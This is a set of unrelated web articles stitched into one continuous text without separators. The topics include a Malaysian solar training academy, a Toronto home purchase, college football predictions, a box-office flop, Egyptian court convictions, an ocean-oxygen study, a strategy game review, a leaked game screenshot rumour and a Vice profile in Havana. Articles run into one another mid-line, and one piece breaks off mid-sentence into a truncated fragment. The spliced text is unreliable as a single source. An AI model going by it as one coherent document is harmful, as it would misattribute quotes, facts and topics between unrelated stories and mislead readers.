With the lab, believed to be the first of its kind for the poor in Malaysia, Sols 24/7 aims to provide a well-equipped, safe, innovative and creative learning environment for its current roster of 116 students.
“Our students can finally apply the abstract theories they learn in the classroom to installing actual live solar energy systems, facilitating a holistic and interactive educational approach,” says Raj Ridvan Singh, Sols 24/7 Malaysia director and CEO.
The solar lab is equipped with an array of live off-grid, hybrid and grid-tied photovoltaic (PV) solar power systems. It also features an advanced electroluminescence test that functions like a solar panel X-ray machine, as well as solar water heaters and a solar-powered air conditioner.
“The solar lab and Solar Academy not only offer students access to a promising future in the sustainable energy industry but they also enable the students’ personal empowerment and development,” says Scott Follett, PPG general manager, South-East Asia.
“PPG is proud to be part of this initiative. We are committed to ensuring that students around the world gain the skills and knowledge needed to become tomorrow’s innovators and help improve society. This is a great programme, and we wish SOLS 24/7 and the students every success,” says Follett.
He adds that Sols 24/7 is a perfect recipient of the funds as the NGO’s principles and mission fit the criteria that the PPG Foundation looks for: “In this case, it is about educating children who otherwise would not get the opportunity,” he says, adding that other elements like science-based learning, focusing on being environmentally-friendly and subscribing to the pay-it-forward concept of giving back to their communities are also important criteria.
“What the management team and teachers of Sols 24/7 do is inspiring. (They) are doing all the work; we are doing nothing, but just enabling (them) to do all this,” Follett says.
With the technical and practical education they get at the academy, 90% of its students are expected to enter into full-time employment and apprenticeships in renewable energy or a related industry within six months of programme completion.
Following the 30 students in the pilot batch last year, the first full batch of 116 students will graduate from the academy in stages next year.
In the meantime, Sols 24/7 has been receiving job requests to install solar PV panels in houses. Some of the customers popped by to enquire after seeing the academy’s own solar panels installed on the rooftop of the six-storey shoplot in Segambut, Kuala Lumpur.
The academy generates an income of RM1,900 per month from selling solar power back to Tenaga Nasional Bhd from its 12kW grid-tied system.
“To alleviate poverty, the most efficient way is to get people jobs. But we have to look at what industries are available and what are the skills needed that will guarantee jobs,” says Raj.
Two years ago, the group realised that the solar industry was growing rapidly in Malaysia and wanted to get involved in it. They started a pilot project, getting funding to establish the Solar Academy, but the missing part was the lab, until now. (The academy’s premises were given to Sols 24/7 to use for free by a local businessman and philanthropist.)
“Traditional installers can earn RM2,200 to RM4,000 a month. And the industry is going to grow so much that even our 100 installers coming out each year are not going to be enough.
“The idea is to eventually generate our own income through installations to fund this programme, and as long as there is need for solar power, the programme will not die,” says Raj.
Part of Sols 24/7’s plan is to have solar panels installed in rural communities living without electricity.
“Over 1 million people in Malaysia still do not have access to electricity. Many of them live in villages and depend on generators, which are expensive, difficult to maintain, diesel-dependent, and cause noise and environmental pollution,” explains Raj.
“On the other hand, solar systems are very low maintenance. In fact, they come with a 25-year warranty because they hardly break down.
“So the plan is to install solar PV panels to generate enough electricity for community centres of say 100-200 people each that can benefit from it. And we will take our students who are from that village to install the panels, so should they need any maintenance work, they can do it.
“This is all part of our pay-it-forward concept,” says Raj, adding that Sols 24/7 will also supply these centres with computers and books.The Chase: A downtown couple abandon their condo for a family-sized house in the suburbs
The Chase: A downtown couple abandon their condo for a family-sized house in the suburbs
The buyers: Connie Gilchrist, a 33-year-old lab technologist at William Osler hospital, and David Gilchrist, a 34-year-old senior operations manager at the racing organization Canada Running Series.
The story: The Gilchrists bought a one-bedroom condo at Bathurst and Lake Shore in 2011 and welcomed their first kid, Bradley, two years later. In late 2014, with baby number two on the way, they decided it was time to upsize. They sold the condo for $312,000 ($10,000 more than they’d paid three years earlier) and took up temporary residence in the basement of Connie’s parents’ home in Brampton while they figured out where they wanted to live. Working with agents Lou and Cathy Romanelli, they began their house hunt in Mimico, New Toronto and Long Branch, all easy commutes to the core. The problem: staying within their $600,000 budget.
Option 1
Struthers Street (near Lake Shore and Royal York). Listed at $599,000, sold for $707,000.
This detached three-bedroom was smack in the centre of Mimico, close to restaurants and the Lake Shore West streetcar line. The Gilchrists liked it but guessed it would sell for at least $20,000 over asking. They were shocked when they found out how much it went for in the end.
Option 2
Tenth Line West (near Winston Churchill and Britannia). Listed at $599,000, sold for $620,000.
Priced out of their dream neighbourhood, they extended their search westward, and the first stop was this three-storey townhouse in Mississauga, which had a great open-concept layout. What it didn’t have: a proper backyard. They decided it was a deal breaker and moved on.
The Buy
Burnhamthorpe West and Erindale Station Road. Listed at $589,000, sold for $612,000.
After passing on a few more properties, the Gilchrists came across this detached three-bedroom fixer-upper, which was being sold as part of an estate. It wasn’t as close to downtown as they would have liked, but it had the living space and yard they wanted. It was only a 12-minute walk to the Erindale GO station, and a 30-minute commute to Union Station from there. They offered $23,000 over asking and, after waiting by the phone for several tense hours, emerged victorious.Texas Tech didn't end its season in the fashion it preferred, but like other Big 12 programs, the Red Raiders could have a lot to look forward to later this year.
Here are five way-too-early predictions for Texas Tech's 2016 football season:
1. Patrick Mahomes will be part of the Heisman Trophy race more than halfway through the season. If Texas Tech gets off to a strong start -- more on that later -- its playmaker of a quarterback could be the subject of some Heisman Trophy love mid-season. Mahomes, as he proved during a breakout sophomore campaign (364 of 573 for 4,653 yards; 36 passing touchdowns and 15 interceptions), is capable of generating eye-popping statistics. If Texas Tech had been better on defense in 2015 -- more on that later, too -- it might have come away with an eight-, nine- or 10-win season (see: home losses to TCU and Oklahoma State, for starters). As FOX Sports put it in October: "... Mahomes could be a sneaky Heisman candidate for 2016 and 2017."
But Texas Tech has to take the next step.
2. Justin Stockton scores 15 or more touchdowns. Could 15 even be too low of a number? The explosive sophomore totaled 11 touchdowns this season, splitting that number between his contributions as a runner (five) and receiver (six). With All-Big 12 running back DeAndre Washington now out of the picture, is Stockton poised to be Texas Tech's featured ball-carrier? Maybe. But he may not need to be the primary runner to reach the 15-touchdown mark. This season, Stockton carried the ball 61 times for 367 yards and caught 22 passes for 341 yards on his way to those 11 scores, carving out a niche as a home-run hitter.
3. The defense makes real strides... because really, it can't get much worse. The run defense, in particular, was awful -- opponents rushed for an average of 280.5 yards against the Red Raiders. They ranked 126th nationally in rush defense and total defense (547.7 yards allowed per game). All one needs to know is this: Texas Tech finished 7-6 with the No. 2 offense in the country. There's only one way for the Texas Tech defense to go in 2016 -- and that's up.
4. Texas Tech is 6-0 when Oklahoma visits Lubbock on Oct. 22. The Red Raiders' first six games are as follows: vs. Stephen F. Austin; at Arizona State; vs. Louisiana Tech; vs. Kansas; at Kansas State; vs. West Virginia. The Arizona State and West Virginia matchups highlight that part of the schedule -- Louisiana Tech, which finished this season 9-4, shouldn't be overlooked either -- and it's important to note that four of those six games are in Lubbock. A 6-0 start is far from guaranteed, but not far-fetched. The combined 2015 record of those six teams is 33-42.
5. Derrick Willies quickly becomes Mahomes' go-to target. At 6-foot-4 and 210 pounds, Willies has the kind of frame that could make him highly dangerous on the outside and in the red zone. He is the top-ranked JUCO wide receiver in the 2016 class according to ESPN and was a NJCAA first-team All-American after catching 49 passes for 1,115 and 14 touchdowns at Trinity Valley Community College this season. If he can assimilate the offense during the spring, Willies should be in position to reap the benefits of Texas Tech's up-tempo style in the fall. Besides, somebody has to try to replace Jakeem Grant's production (90 catches for 1,268 yards and 10 touchdowns).While “Dunkirk” and “Girls Trip” found success at the box office, “Valerian and the City of a Thousand Planets” did not. Produced by EuropaCrop and distributed by STX, Luc Besson‘s latest sci-fi odyssey cost a reported $180 million to make, but only saw an estimated $17 million in its domestic opening. That put it in fifth this weekend, failing to even beat a third-week “Spider-Man: Homecoming,” which made $22 million.
EuropaCorp, which is owned by Besson, won’t take a big financial hit, as it brought in outside investors and sold distribution rights to mitigate the cost of the blockbuster, but it will have to rely on overseas markets to find profits, as U.S. audiences have largely rejected the film with a B- CinemaScore rating and a 54 percent score on Rotten Tomatoes.
Here are three reasons why the film couldn’t find traction.
Also Read: EuropaCorp's Stock Tanks After Luc Besson's 'Valerian' Flops at Box Office
1.) Poor casting
From both a critical and marketing standpoint, Dane DeHaan and Cara Delevingne seemed to be the wrong pair to cast in the lead roles of space agents Valerian and Laureline. While many critics had praise for Besson’s direction, most seemed to agree that the two had poor chemistry and put out performances that were not as vibrant as the worlds they were surrounded by.
On the marketing side, DeHaan and Delevingne remain unproven as blockbuster box office draws.
DeHaan’s most prominent role in recent years is as Harry Osborn (a.k.a. The Green Goblin) in “The Amazing Spider-Man 2,” while his lead performances have been in the art house biopic “Life” and, earlier this year, in the mid-budget flop “A Cure for Wellness.” Delevingne, meanwhile, appeared as the Enchantress in the critically panned “Suicide Squad.”
With DeHaan and Delevingne’s lack of recognizable roles, audiences who weren’t sold on the unfamiliar story of “Valerian” weren’t exactly going to be intrigued enough to turn out in theaters just to see them. That left pop star Rihanna to serve as the main draw in the cast, with her face joining the others on the film’s posters even though her character, the shape-shifting dancer Bubble, only has a small bit of screen time midway through the film.
Also Read: 5 Reasons Why 'Dunkirk' Beat Box Office Expectations
2.) Unfamiliar story
The trailer for “Valerian,” along with promoting Luc Besson as director, notes that the film is based on the “groundbreaking graphic novel” by Pierre Christin, “Valerian and Laureline.” While the graphic novel is a hit in Europe, especially in its home country of France, it’s an unfamiliar IP in America. Many moviegoers were left confused as to what the story was supposed to be that connected all the colorful worlds in the trailer. Like the Western adaptation of “Ghost in the Shell,” the push to show the film’s lavish world-building came at the expense of pushing a story that audiences could understand and stakes that can make them care.
It remains to be seen how European audiences who may be more familiar with Besson’s source of inspiration will react to the film, which still has to open in several major international markets, including France, China, South Korea, the U.K., Russia, Mexico and Brazil. But one warning sign might have already come from its release in Germany, where it made $2.9 million. That was good for No. 2 in that market, finishing behind “Despicable Me 3,” which is in its third week.
READ MORE See Valerian and the City of a Thousand Planets's latest POWER MOVE. PowerRank: 7321
3.) “Guardians of the Galaxy”
It would be easy to cynically say that “Valerian” is proof that audiences won’t go out to see a movie that isn’t based on familiar IP, but recent hits like “Get Out” and “Baby Driver” prove otherwise. More likely, the rejection “Valerian” received from critics and at the box office show that while an intergalactic romp through colorful worlds can be fun, the story and characters need to deliver as much as the setting.
“Guardians of the Galaxy” and its sequel are proof of this, winning fans over with lovable characters and a heartfelt story, while weaving a galaxy where a trading outpost is built out of the skull of a creature large enough to consume moons. “Guardians” raised the standard for pulpy space adventure, and “Valerian,” with reviews critical of its acting and script, couldn’t deliver, and audiences left it behind.In a “shocking” turn of events, three Al Jazeera journalists were convicted and sentenced to seven years in prison in an Egyptian court earlier today. Somewhat strangely, one of those convicted was a canuck. Mohamed Fahmy, a Canadian-Egyptian journalist, was among those tried, adding to the list of our countrymen in the news recently for their Middle Eastern shenanigans.The men were arrested in December from their Cairo Marriot hotel room, which we’ve heard is the swankiest hotel (still standing) east of Tripoli.
These charges stem from the fact that Al Jazeera is considered by the Egyptian government to be supportive of the Muslim Brotherhood, which Egyptian courts ruled last September is a terrorist organization, proving that calling your political opponents terrorists is no longer just a Western-World phenomenon. This conviction, however, was based on basically zero evidence from the prosecution, and was pretty much the exact type of trial you’d expect from, well, a Middle Eastern military dictatorship.
In the international outrage that followed the announcement, ‘authoritarian’ seemed to be the word that just about everyone missed. British Ambassador to Egypt James Watt said in a deeply enlightening press release that he finds the conviction disappointing and added that “freedom of expression is fundamental to any democracy.”
Democracy? I thought we were talking about Egypt.
It would appear that the Ambassador has forgotten that the current Egyptian government came to power in a military coup, and that they won their last election with almost 97 percent of the vote. So either Egyptian President Abdel Fatah el-Sisi is the most popular Egyptian leader since King Tut, or the election was rigged. We’ll let you figure that one out for yourself, but if we were journalists in Egypt right now, we’d be a bit worried about saying the latter.
Another recent Egyptian courtroom outrage took place in March, when 529 Egyptians were sentenced to death for their participation in an anti-government protest that resulted in the death of a police officer. Yeah, sentenced to death. So Fahmy’s conviction is the Egyptian equivalent of two weeks community service.
All in all, our sympathies are with the families of these convicted Al Jazeera journalists and while we support the freedom of press in every country on Earth, we can’t say that we’re surprised by all this. What would be surprising is if Western governments acknowledged the unsettling political omni-shambles that Egyptians are facing, instead of cherry picking issues to be outraged about. But I guess if we want our leaders to take notice, we’ll need a clever hashtag to trend its way to relevance.
#2ndSwingAtTheArabSpringGujarat, Sep 11 (ANI): Every year, the entire Khambhatta family organizes the celebration of 'Ganesh Chaturthi' in Navsari city of Gujarat. Despite being Parsi, the family has utmost faith in Hindu god Ganesha, it has become a ritual for many Parsi families in the area to attend this grand celebration. Studded with imported American diamonds and carefully done zari work, the idol of Lord Ganesha was standing tall in all its glory. Revered and worshipped all over India by diverse communities, the elephant-headed lord Ganesha is the Hindu god of wisdom and intellect. Although many Parsis have migrated to the megacities like Mumbai, they headback to the town every year without fail to celebrate 'Ganesh Chaturthi'. For last 40 years, it has remained legacy for this community in Navsari to celebrate this festival with pomp and show. The way one community has shown its regard for the beliefs of another community strengthens the secular fabric of our country and proves that religion does not divide and instead, it unites.As climatologists closely monitor the impact of human activity on the world's oceans, researchers at the Georgia Institute of Technology have found yet another worrying trend impacting the health of the Pacific Ocean.
A new modeling study conducted by researchers in Georgia Tech's School of Earth and Atmospheric Sciences shows that for decades, air pollution drifting from East Asia out over the world's largest ocean has kicked off a chain reaction that contributed to oxygen levels falling in tropical waters thousands of miles away.
"There's a growing awareness that oxygen levels in the ocean may be changing over time," said Taka Ito, an associate professor at Georgia Tech. "One reason for that is the warming environment -- warm water holds less gas. But in the tropical Pacific, the oxygen level has been falling at a much faster rate than the temperature change can explain."
The study, which was published May 16 in Nature Geoscience, was sponsored by the National Science Foundation, a Georgia Power Faculty Scholar Chair and a Cullen-Peck Faculty Fellowship.
In the report, the researchers describe how air pollution from industrial activities had raised levels of iron and nitrogen -- key nutrients for marine life -- in the ocean off the coast of East Asia. Ocean currents then carried the nutrients to tropical regions, where they were consumed by photosynthesizing phytoplankton.
But while the tropical phytoplankton may have released more oxygen into the atmosphere, their consumption of the excess nutrients had a negative effect on the dissolved oxygen levels deeper in the ocean.
"If you have more active photosynthesis at the surface, it produces more organic matter, and some of that sinks down," Ito said. "And as it sinks down, there's bacteria that consume that organic matter. Like us breathing in oxygen and exhaling CO2, the bacteria consume oxygen in the subsurface ocean, and there is a tendency to deplete more oxygen."
That process plays out in all across the Pacific, but the effects are most pronounced in tropical areas, where dissolved oxygen is already low.
Athanasios Nenes, a professor in the School of Earth and Atmospheric Sciences and the School of Chemical and Biomolecular Engineering at Georgia Tech who worked with Ito on the study, said the research is the first to describe just how far reaching the impact of human industrial activity can be.
"The scientific community always thought that the impact of air pollution is felt in the vicinity of where it deposits," said Nenes, who also serves as Georgia Power Faculty Scholar. "This study shows that the iron can circulate across the ocean and affect ecosystems thousands of kilometers away."
While evidence had been mounting that global climate change may have an impact on future oxygen levels, Ito and Nenes were spurred to search for an explanation for why oxygen levels in the tropics had been declining since the 1970s.
To understand how the process worked, the researchers developed a model that combines atmospheric chemistry, biogeochemical cycles, and ocean circulation. Their model maps out how polluted, iron-rich dust that settles over the Northern Pacific gets carried by ocean currents east toward North America, down the coast and then back west along the equator.
In their model, the researchers accounted for other factors that can also impact oxygen levels, such as water temperature and ocean current variability.
Whether due to warming sea waters or an increase in iron pollution, the implications of growing oxygen-minimum zones are far reaching for marine life.
"Many living organisms depend on oxygen that is dissolved in seawater," Ito said. "So if it gets low enough, it can cause problems, and it might change habitats for marine organisms."
Occasionally, waters from low oxygen areas swell to the coastal waters, killing or displacing populations of fish, crabs and many other organisms. Those "hypoxic events" may become more frequent as the oxygen-minimum zones grow, Ito said.
The increasing phytoplankton activity is a double-edged sword, Ito said.
"Phytoplankton is an essential part of the living ocean," he said. "It serves as the base of food chain and absorbs atmospheric carbon dioxide. But if the pollution continues to supply excess nutrients, the process of the decomposition depletes oxygen from the deeper waters, and this deep oxygen is not easily replaced."
The study also expands on the understanding of dust as a transporter of pollution, Nenes said.
"Dust has always attracted of a lot of interest because of its impact on the health of people," Nenes said. "This is really the first study showing that dust can have a huge impact on the health of the oceans in ways that we've never understood before. It just raises the need to understand what we're doing to marine ecosystems that feed populations worldwide."Share. Don't know your pilum from your spiculum? Is this the game for you? Don't know your pilum from your spiculum? Is this the game for you?
There's no getting around it – Creative Assembly's Total War games are intimidating. The combination of epic real-time battles, where the slightest mistake can lead to instant death, and open-ended empire management, where the slightest mistake can lead to death in several hours, is a lot for even seasoned strategy gamers to manage. It's no surprise then that more casual gamers are hesitant to jump in and climb the game's steep learning curve.
The developers have made some concessions over the years to make the series friendlier to newcomers, but has Total War Rome II done enough to break through?
Exit Theatre Mode
Getting In
While other Total War games have offered up general tutorials and a helpful in-game advice system, Rome II also adds a short mini-campaign that helps orient players towards some of the decisions they'll need to be making in the game. It's not just "Here's what this button does," so much as it is "Here's why what this button does is important." The mini-campaign also serves as a sort of prologue to the main campaign. Accordingly, players will end the mini-campaign with a clearer understanding of the first-turn priorities in the main campaign. They'll understand immediately where the threats are coming from and be better prepared to confront them. At least, that's the hope.
For the ultimate in hand-holding, there's also a co-operative campaign available for players who feel like Rome might have had a better time of it if it had just teamed up with the Carthaginians instead of killing them.
The Setting
Just as Mark Burnett only holds Survivor in places where bikinis are essentially mandatory, Creative Assembly's followed a few basic rules for picking settings in Total War. First, the time and place has to present a large number of factions of relatively equal power who are all competing for dominance. Second, there has to be an opportunity for profound technological advancement. Finally, it has to have lots of cool stuff like samurais, catapults, and frigates.
Rome II arguably delivers more of that stuff than any of the franchise's other entries. Starting in 272BC, the game sees Rome of the verge of massive expansion, Eastern and North African powers dominating maritime trade, Greek city states working to develop new technologies for war and peace, and German tribes looking to leverage their battlefield prowess into a greater sense of security in the north. Each of the factions delivers a unique approach, both in terms of abilities and challenges.
Exit Theatre Mode
Not Fighting
The game's called Total War for a reason, but, taking a cue from games like Civilization, Rome II also offers some outlets for gamers who don't necessarily want to stab their way to dominance. There are now cultural and economic victory conditions to pursue. While fighting's the main appeal, and considerably more developed than these other objectives, having a chance to flex your strategic muscles in other directions should help give the series a bit more appeal.
Naturally, there a substantial dynastic game to be played here as well, one that requires players to manage their own retinues and jockey for approval within the factions that rule Rome. The dynastic game isn't quite developed enough to satisfy fans of Downton Abbey, but there's still a fun family element that adds to the overall experience.
Cinematic Battles
The Shogun versions of Total War have done a better job of keeping the unit rosters manageable, and the Medieval versions have delivered unit names that are much more familiar to most gamers. Rome II has a harder sell in both of these areas. With over 700 units, it can be hard for newcomers to know their Hastati from their Triarii from their Velites. While the unit icons are a big help, part of the appeal of the series is having a wide range of unique, historically appropriate units. Given time, players won't be confusing the Testudo with that creepy motorcycle kid from Akira, but it can take some getting used to.
In terms of tactical opportunities, there's more sophistication here than in previous games, which could be a barrier for entry for newcomers, but there's also a more friendly alternate RTS camera, that would help make the game a bit more approachable. Even with that, there's still the same option for the cinematic camera that has made the series so compelling.
Exit Theatre Mode
Rome Wasn't Micromanaged in a Day
One of the bigger problems with the Total War games has been the burden of micromanagement, particularly in the late game. Other entries have tried to streamline the various interactions, but it can still take five or ten minutes to get through a regular turn. Rome II simplifies things a bit by moving to a provincial administration system, whereby players can manage multiple regions as a single entity, ordering construction, recruiting units, and addressing tax and morale issues all at once. When you're managing a late game empire than can encompass dozens of these provinces, it can still be a bit of a slog but every bit of help is appreciated.
To make things even more manageable, there's a cap on the number of armies any faction can control at one time. Rather than just leading and fighting dozens and dozens of small armies around the map, you'll only have to manage a handful in the early stages of the game and will slowly grow into the larger armies needed to manage the later stages of the game.
So Should It?
The Total War series nicely dodges the story continuity problems that typically prompt this question, so the main question for new players is whether the subject matter is engaging enough to put up with the complexity that the setting and design requires. Over the course of seven core releases and just as many expansions, Creative Assembly has learned a lot of lessons about how to better present the content of these deep war games.
Steve Butts is IGN’s editor-in-chief and went to college to learn about tetsudos. Keep up with him @SteveButts on Twitter or SteveButts on IGN.Sacred Science: The Unquestionable Beliefs of Coercive Control
Sacred Science is one of the most fascinating of Robert Lifton’s Eight Criteria of Thought Reform, because it exists not only in coercive relationships and groups, but is widespread in our culture.
We all have sacred cows: beliefs that we simply won’t question. As Lifton noted, sacred science “greatly simplifies the world.” Any system that offers complete, absolute, and, above all, easy answers can be tantalizing indeed.
A predator uses sacred science to create a set of unquestionable beliefs that keep us from thinking for ourselves. Usually these beliefs are all-encompassing: a closed system of ideas, which claim to explain all human experience and behavior.
In sacred science, a central belief is elevated to absolute truth; questioning the validity of that belief is forbidden. Although many manipulative groups will claim to “welcome” questions, various forms of manipulation—from thought-stopping to emotional blackmail—will be used to drive home the point that you can ask any question you like, but you must be satisfied with the answer given.
In the realm of politics, sacred science happens whenever questioning the beliefs of your party becomes tantamount to “hating” your country. It happens in an abusive relationship, when questioning your partner’s right to make all the decisions is shouted down with a hurtful, “but I thought you loved me!”
What this means for those wishing to practice healthy skepticism is that we must never take any claim for granted, and ask for proof whenever we have doubts.
Many “self-evident” statements have no basis in fact. If unexamined, they can be used by predators to build whole systems of belief, elaborate castles in the air, which would come tumbling down if anyone poked at their foundations too hard.
Bluntly speaking, too many sacred cows end up being just plain baloney. It is up to us, as critical thinkers, to examine the facts, question the answers, and be on guard, if the response we are given amounts to “don’t ask!”CTV Toronto
Two men have been arrested and police are looking for a third suspect following a violent attack in Brantford, Ont., early Saturday morning that left two kittens dead.
Police say the men forced their way into a home, assaulted the residents inside and killed two kittens by stomping on them.
Police were called to the home around 2:30 a.m., where they confronted an intoxicated man.
The man, officials said, punched a police cruiser and kicked out the back window of the vehicle, and later damaged a cell at the Brantford Police Station.
Justin Webber, 27, has been charged with break and enter, assault and two counts of killing an animal.
James Carpenter, 29, has been charged with assault, assault with intent to resist arrest, break and enter and causing a disturbance.[WARNING: These screenshots have NOT been confirmed to be legitimate, so please take this only as a RUMOR].
Screenshots have recently surfaced on ResetEra, detailing a possible Monsters, Inc. world for Kingdom Hearts III. ResetEra user Wrestleman uploaded two screenshots that were shown to him on his Discord server by someone who got them from an unknown source who said they were taken from an FTP server. The screenshots show Sora, Donald, and Goofy in the lobby at the Scare Factory fighting what seems to be Unversed. Also present are Mike Wazowski and Sully, who appear to be party members for this world.
The first screenshot features Sora and the others facing off against what appears to be a monster Unversed (notice the symbol on its head), along with a few Flood Unversed. Sora, Donald, and Goofy have a more monster appearance. Sora’s legs have a striped look with a tail and he has horns coming from his ears. Donald appears to be a blue gremlin with little wings. Goofy is green from head to toe with his eyes poking out. Sora, Donald, and Goofy appear to be using their default weapons for this fight.
The HUD appears to be the default with Sora, Donald, and Goofy still in the regular Kingdom Hearts III outfits with no changes on their icons, however on Donald and Goofy’s icon, there is kanji written, meaning “Temporary," so the HUD may not be finished yet. The HUD also shows Mike and Sully’s icons in both their fight mode and in stationary mode.
The second screenshot has Sora and the others standing around, most likely after the fight. This shot appears to be from a developer’s point of view, displaying information about the status of the game. You can view the translations below:
(Special thanks to Katie Armstrong and Mio-chan for the translations.)
(Red text on top) Since the factors of the load are not limited to this, they are only for reference. Profiling while AI [Artificial Intelligence] is logged in Profiling while GC [Garbage Collection] validation is on (Next to character icon) "temporary" (Green text [left side]) Number of polygons in the screen: related to the number of points and dynamic shadows Draw Call: Related to the number of actors and materials (Green text [right side]) Related to the number of Draw Call Related to points, shader complexity, and shadows among others (25 ms to 27 ms is preferable only for the background) (Green text [bottom]) Command line (appears by pressing half / fully a key)
You can view the screenshots below:
Wrestleman also uploaded a screenshot of an alleged leak of a Frozen world in Kingdom Hearts III, but it was quickly deleted by Wrestleman as others brought it to his attention that it was just a screenshot from the movie.
UPDATE [Dec. 15, 2017]: On closer inspection, the Sora model used for the HUD in this recent alleged Monsters, Inc. Kingdom Hearts III leak is the old HUD model from the Rock Troll Heartless screenshot from MAGIC 2017. It is not the updated HUD model from the new Kingdom Hearts III Orchestra and Toy Story trailers.
UPDATE [Dec. 23, 2017]: New screenshots of the alleged Kingdom Hearts III Monsters, Inc. world leak have surfaced on Imgur. The new batch of screenshots includes an introduction of Boo and the door vault. There are also a few shots of debugging and comparisons with the Kingdom Shader. You can view them in the gallery below:
Translations are available for a few of the screenshots, thanks to Mio-chan. You can see them below:
Fourth screenshot [sora facing Mike] (red text beneath developer interface) Temporary Elevator Lowest Floor Last screenshot (White dialogue text) "Sora, we have to put out this fire."
What do you guys think? Do these screenshots look legitimate or fake? Let us know your observations in the comments below!B.J. Guillot is a Republican running for Washington State's 2nd Congressional district, and he wants your Bitcoin.
Guillot doesn't appear to be a run-of-the-mill Republican. First off, he is a Republican in Washington State, which just legalized marijuana. He also drives the 100 % electric Nissan Leaf and loves to travel outside of the country. Not exactly the image that comes to mind when you think of the grand ole party.
What caught our attention was his attendance at the Bitcoin in the Beltway conference in Washington D.C. this past weekend. B.J. Guillot doesn't just want your Bitcoin, he is a Bitcoin enthusiast and a former miner to boot.
His campaign website, sadly, doesn't list his stances on every major issue, but his stance on Bitcoin is listed loud and clear:
“Bitcoin should be treated as currency, not property. Congress should enact Rep. Stockman's Virtual Currency Tax Reform Act.”
He also states his disdain for the NSA spying operations, SOPA (Stop Online Piracy Act) and PIPA (Protect IP Act) and reforming patent laws. Those are all issues that most of the tech community will get behind. The man he is trying to usurp is incumbent Rick Larsen, a Democrat who has been serving since 2001.
Larsen has generally been a friend of the tech community, opposing SOPA and voting for the USA Freedom Act, which was meant to reign in the NSA and was supported by a large number of privacy groups (but most withdrew their support after they said the bill lost its teeth). But while Larsen may be a friend of the general tech community, Guillot is a friend specifically of Bitcoin, and that is enough to draw the verbal support of Bitcoin Foundation board member Brock Pierce.
The question is, will it be enough for the Bitcoin community?
You can find more information about B.J. Guillot at his official sitePredicting the Redskins 53 Man Roster After The Browns Preseason Game
-The Redskins need 3 quarterbacks between their roster and practice squad and with no one else in camp it is tough to see them relying on a random UDFA to |
Things Are. His most recent effort, Her, starring Joaquin Phoenix and Scarlett Johansson, was nominated for best picture at last year’s Academy Awards, while Jonze picked up the Oscar for best original screenplay.
Jonze, 45, does not have the jaded outlook of someone who has spent the past 15 years in Hollywood. Wide-eyed, curious and lacking cynicism, he has a sharp sense of humour. He is not in Cuba to make a movie. He is interviewing Lores for Vice, a brand which started out in 1994 as a music and fashion magazine and has evolved into a sprawling, youth-focused media empire spanning TV, digital channels and publishing. He is in Havana with his friend Shane Smith, Vice’s co-founder and chief executive, and a crew to film a segment for the company’s news magazine programme, which airs on HBO in the US. Vice also has a four-year deal to produce a daily, half-hour news programme for HBO and operates Vice News, an online digital channel, plus a network of other online channels (or “verticals”) specialising in subjects such as music, technology and sport.
Vice’s ability to connect with young audiences has won it many admirers among more traditional media companies, which are finding young, “millennial” viewers and consumers increasingly elusive. Rupert Murdoch was an early fan: in 2012, after meeting Smith for drinks at Vice’s headquarters in Williamsburg, Brooklyn, he took to Twitter to declare the company a “wild, interesting effort to interest millennials who don’t read or watch established media”.
The Cuba segment seems ideally suited for Vice’s HBO show, which focuses on edgy, colourful stories from world hotspots. Its reports have ranged from an investigation into the radiation caused by nuclear testing in Kazakhstan to a piece on Afghanistan’s child suicide bombers. Vice has been increasing its news coverage, winning plaudits along the way: the HBO series won an Emmy last year and it recently won two Peabody awards for video reporting on its online Vice News channel. In one of the winning pieces, a Vice reporter was embedded with Isis fighters in Syria, capturing the group’s terror-driven zeal up close for the first time.
The catalyst for Vice’s interest in Cuba came at the end of last year, when Barack Obama announced that the US would begin normalising relations, ending more than half a century of hostility to its island neighbour. I first heard about Vice’s plans for a Cuba report in February, when I saw Smith at a party. He had been to the country to scout locations, he told me, and would be returning to film. Keen to see Vice’s journalism and chief executive in action, I suggested that I tag along.
And so, two months later, I take an early-morning flight from New York to Miami with Jonze and Alex Detrick, Vice’s communications chief. In Miami we board a commercial charter flight and, 45 minutes later, touch down in Cuba.
Vice’s HBO show and digital channels need a steady flow of ideas and footage that can be edited into long-form television programming or shorter pieces that work better online. The Havana trip is to gather material for the HBO programme and Alex Chitty, the show’s perennially stressed producer, and his team have arranged several different shoots to capture how the thaw in relations with the US is playing out in Havana’s culture, politics and society.
Driving into central Havana from the airport is to go back in time 50 years. The US embargo on trade meant no American cars made it to Cuban shores and there are few vehicles on the city’s wide boulevards apart from a spattering of older US models — classic Chevrolets and Pontiacs from before the embargo that have been repurposed and retuned over the years.
Vice CEO Shane Smith (left) with Vice’s photography director Jake Burghart (with camera) and director Spike Jonze (second from right) outside the Museum of the Revolution, Havana
It is too soon to see signs of any economic upturn linked to the normalisation of relations with the US. The grand Spanish colonial homes and buildings seized by Castro’s forces in the aftermath of the revolution are crumbling after years of neglect but the people on the street seem happy to see us. A young boy asks Detrick where he is from: when he replies “New York”, the boy sticks his thumbs up and says, “America! Friends now!”
Our first stop is a privately owned restaurant in a Spanish colonial house in the city’s centre. The walls of the tall-ceilinged rooms are covered with antique clocks and framed pictures of newspaper clippings from the days after the 1959 revolution. With Smith are two camera operators, a sound man, a translator and a couple of local “fixers”.
The 45-year-old Canadian is wearing shorts which reveal a big tattoo on his calf, flip-flops and a black T-shirt. His bearded face is bright red, having caught the sun while shooting a segment at Havana’s Mariel port the day before, when he ran into a group of business executives from Florida looking for possible investment opportunities. Many people are piling into Cuba looking for the commercial possibilities that will open up as relations improve — we also encountered US baseball coaches scouting for local talent.
Jake Burghart, Vice’s director of photography, is arranging his camera to shoot Smith and Carlos Cristobal Marquez, the restaurant’s owner and head chef. Jonze, who is standing nearby, suggests that they change the angle of the shot; Smith, meanwhile, asks Marquez about running a private restaurant in Cuba.
“Restaurants used to be illegal here but now they are allowed,” Marquez says, explaining that the new generation of dining spots evolved from paladares — private homes which, in the early 1990s, were allowed to start serving small groups of guests. Smith wants to know how restaurants get their meat and vegetables in a country where all land is owned by the state. Marquez says restrictions on crop growth have fallen away. “The idea that you can even have a business now in Cuba is so new... it’s a big deal,” one of the restaurant doormen says to me, whispering so as not to disturb the shoot.
“The economy is getting better,” Marquez says. “Cubans who own businesses here have thrived.” His restaurant, which attracts a mix of tourists and locals, has a 1930s US-made General Electric cooker and, after filming a short piece in the kitchen, Smith tells me he is fascinated by the evolution of dining culture in Havana. “It used to be an underground economy,” he says. “Now it’s everywhere.”
